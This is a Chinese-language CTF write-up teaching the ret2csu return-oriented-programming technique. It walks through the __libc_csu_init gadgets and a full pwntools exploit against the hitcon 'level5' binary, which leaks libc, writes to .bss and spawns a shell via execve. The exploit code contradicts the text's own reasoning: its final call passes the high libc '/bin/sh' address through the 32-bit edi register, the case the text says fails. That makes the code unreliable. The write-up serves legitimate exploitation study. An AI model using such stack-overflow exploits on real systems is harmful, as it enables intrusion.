ret2csu
参考资料
CTF Wiki - ret2csu
0x01 原理 我们得知,Linux上的x86_64架构的程序遵循System V AMD64 ABI 函数调用约定,即函数的前6个参数使用寄存器传参,所以,在我们构建ROP链时,需要找到可以控制寄存器的gadgets,但是在大多数情况下,我们很难找到每一个寄存器对应的gadgets。
如果你有自己尝试过构建一个需要使用ret2libc的程序,你会发现,自己构建的程序可能找不见pop rdi; ret等常用gadgets,这种情况是正常的。出题人一般会专门写一个不会使用的函数,用来放这种gadgets。不然我就不会做了
所以说,正是因为能直接控制所有寄存器的gadgets稀缺,我们才需要找到在程序中天然存在的,能一次性设置多个寄存器的gadgets片段,比如本文接下来要提到的__libc_csu_init函数。
__libc_csu_init __libc_csu_init(CSU == C Startup),其本质为 glibc 启动代码中,在main()之前执行的一段“程序级初始化器”,其负责调用init_array中的相关函数,然后回到__libc_start_main 去调用应用的 main。如果你对相关的流程不熟悉,可以将其理解为一个初始化函数。
对于漏洞利用而言,这个函数的关键价值在于:在使用glibc(glibc<2.34[^1])的x86_64 Linux 程序中,它几乎必然存在——无论是动态链接还是静态链接。如下是该函数的汇编指令序列(不同版本的glibc可能略有不同):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp
该段函数宏,我们主要能利用如下几个片段:
1 2 3 4 5 6 7 8 .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn
这里有一段连续的pop,这意味着我们可以先通过栈溢出和我们布置到栈中的内容控制rbx rbp r12 r13 r14 r15这几格寄存器的值。
1 2 3 4 5 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8]
将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0 ,相当于控制rdi,只不过只有低32位。而这三个寄存器,正是System V AMD64 ABI 函数调用约定中用来存放前三个参数的寄存器。
同时,可以注意到,通过控制 r12 和 rbx,我们可以利用 call qword ptr [r12+rbx*8] 间接调用任意函数。通常设置 rbx=0,r12 则设置为目标函数指针所在的地址 (例如某个GOT表项地址)。执行时,CPU会读取 [r12] 处的8字节值作为目标地址进行跳转。
1 2 3 .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600
我们可以控制 rbx 和 rbp 的值,如果 rbx+1 == rbp,程序则会执行该段汇编下方的汇编。一般来说,我们会让rbx=0,rbp=1。
0x02 示例 此处以 hitcon level5 ]
检查保护
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
该程序逻辑非常简单,存在一个明显的栈溢出漏洞:vulnerable_function 中 read 可读取 0x200 字节,但缓冲区 buf 仅有 128 字节。
1 2 3 4 5 6 int __fastcall main (int argc, const char **argv, const char **envp) { write(1 , "Hello, World\n" , 0xDu LL); vulnerable_function(1LL ); return 0 ; }
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[128 ]; return read(0 , buf, 0x200u LL); }
本程序是所依赖的库是glibc 2.23。但是在本地更换libc依赖后,该程序无法运行。当glibc 版本 > 2.27时其可以正常运行。
由于环境的问题,我无法在本机环境上无法通过调用 system(“/bin/sh”) 来 getshell,所以这里用了和CTF Wiki上一样的方法
基本思路如下:
利用ret2csu泄露libc地址,获取 execv 和 /bin/sh 的地址
再次利用ret2csu将 execv_addr ,”/bin/sh\x00”写入bss段内
再次利用ret2csu执行 execve(“/bin/sh”, 0, 0)
泄露libc地址 辅助函数
1 2 3 4 5 6 7 8 9 def csu (rbx: int , rbp: int , r12: int , r13: int , r14: int , r15: int , r_addr: int , padding: int ): payload = b'a' * (padding) payload += p64(0x000000000040061A ) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(0x0000000000400600 ) payload += b'a' * 0x38 payload += p64(r_addr) sd(payload)
用于快速组装payload和发送,布置好的栈帧示意图:
1 2 3 4 5 6 7 8 9 10 11 12 13 | ... | 低地址 | ‘a’ * padding | <- 填充至返回地址 | 0x40061A (pop链起始地址) | <- 覆盖的返回地址 | rbx值 | | rbp值 | | r12值 (函数指针地址) | | r13值 (->rdx) | | r14值 (->rsi) | | r15值 (->edi) | | 0x400600 (mov链起始地址) | <- pop链ret后跳转至此 | ‘a’ * 0x38 (填充) | <- 用于add rsp, 8和6个pop的栈空间。 | r_addr (下一个返回地址) | <- mov链ret后跳转至此 | ... | 高地址
脚本主逻辑:
1 2 3 ru(b"Hello, World\n" ) csu(0 , 1 , write_got, 8 , write_got, 1 , main_addr, 0x88 )
这里我们实际上是构造了write(1, write, 8)这样一个函数,其会将got表中 write 的真实地址输出出来。
1 2 3 4 5 6 7 8 9 write_addr = u64(rc(8 )) lg("write_addr: " + hex (write_addr)) libc_base = write_addr - libc.sym['write' ] exe_addr = libc_base + libc.sym['execve' ] sh_addr = libc_base + next (libc.search(b'/bin/sh' )) lg("libc_base: " + hex (libc_base)) lg("exe_addr: " + hex (exe_addr)) lg("sh_addr: " + hex (sh_addr))
脚本接收并解析
向.bss段写入 .bss 段是 ELF 中用于存放未初始化的全局/静态变量 的内存区域,程序加载时会为其分配空间并自动清零 。在利用中它常被选作数据落点:在非 PIE 场景下其地址通常固定且易于计算 ,便于稳定地引用;同时 .bss 往往空间充足 、写入不易干扰程序已有的初始化数据(相比覆盖 .data/栈更不容易破坏逻辑);此外其初始全 0 的特性非常适合构造以 NULL 结尾的字符串/数组或作为默认空指针字段,从而减少额外写入与构造成本。
1 2 3 4 bss_base = e.bss() ru(b"Hello, World\n" ) csu(0 , 1 , read_got, 16 , bss_base, 0 , main_addr, 0x88 ) sd(p64(exe_addr) + b'/bin/sh\x00' )
这里构造的是read(0, bss_base, 16),向 .bss 段内读入16字节数据,然后脚本发送 execve_addr 和 “/bin/sh\x00” 给程序写入 bss段内。
在这里,有人会有疑问,为何需要多此一举,而不直接使用libc中的/bin/sh地址? 这是因为我们只能通过r15d设置edi,从而控制rdi的低32位(高32位被清零)。libc的映射地址通常很高(远超2^32),而.bss段的地址较低,能容纳在32位范围内。从下方地址输出对比中即可看出:
1 2 [+] bss_base: 0x601040 [+] write_addr: 0x7ff7b59100f0
并不是画蛇添足。
执行 execve(“/bin/sh”, 0, 0) 1 csu(0 , 1 , bss_base, 0 , 0 , sh_addr, main_addr, 0x88 )
这里构造的是execve("/bin/sh",0, 0)
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context(arch = 'amd64' , os = 'linux' ) context.terminal = ['konsole' , '-e' ] context.log_level = 'debug' context.binary = './level5' e = ELF('./level5' ) libc = e.libc if args['RE' ]: io = remote() else : io = process('./level5' ) def debug (): gdb.attach(io) pause() sa = lambda s, d: io.sendafter(s, d) sla = lambda s, d: io.sendlineafter(s, d) sl = lambda d: io.sendline(d) sd = lambda d: io.send(d) ru = lambda s: io.recvuntil(s) rc = lambda n: io.recv(n) rl = lambda : io.recvline() ti = lambda : io.interactive() lg = lambda x: log.success(x) def csu (rbx: int , rbp: int , r12: int , r13: int , r14: int , r15: int , r_addr: int , padding: int ): payload = b'a' * (padding) payload += p64(0x000000000040061A ) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(0x0000000000400600 ) payload += b'a' * 0x38 payload += p64(r_addr) sd(payload) def main (): write_got = e.got['write' ] read_got = e.got['read' ] bss_base = e.bss() lg("bss_base: " + hex (bss_base)) main_addr = e.sym['main' ] ru(b"Hello, World\n" ) csu(0 , 1 , write_got, 8 , write_got, 1 , main_addr, 0x88 ) write_addr = u64(rc(8 )) lg("write_addr: " + hex (write_addr)) libc_base = write_addr - libc.sym['write' ] exe_addr = libc_base + libc.sym['execve' ] sh_addr = libc_base + next (libc.search(b'/bin/sh' )) lg("libc_base: " + hex (libc_base)) lg("exe_addr: " + hex (exe_addr)) lg("sh_addr: " + hex (sh_addr)) ru(b"Hello, World\n" ) csu(0 , 1 , read_got, 16 , bss_base, 0 , main_addr, 0x88 ) sd(p64(exe_addr) + b'/bin/sh\x00' ) csu(0 , 1 , bss_base, 0 , 0 , sh_addr, main_addr, 0x88 ) if __name__ == '__main__' : main() ti()
[^1]:在glibc 2.34之后,该符号已被移除或被更改,其职责被启动链路中的其它部分替代。
版权与引用声明
本文部分内容基于以下外部材料: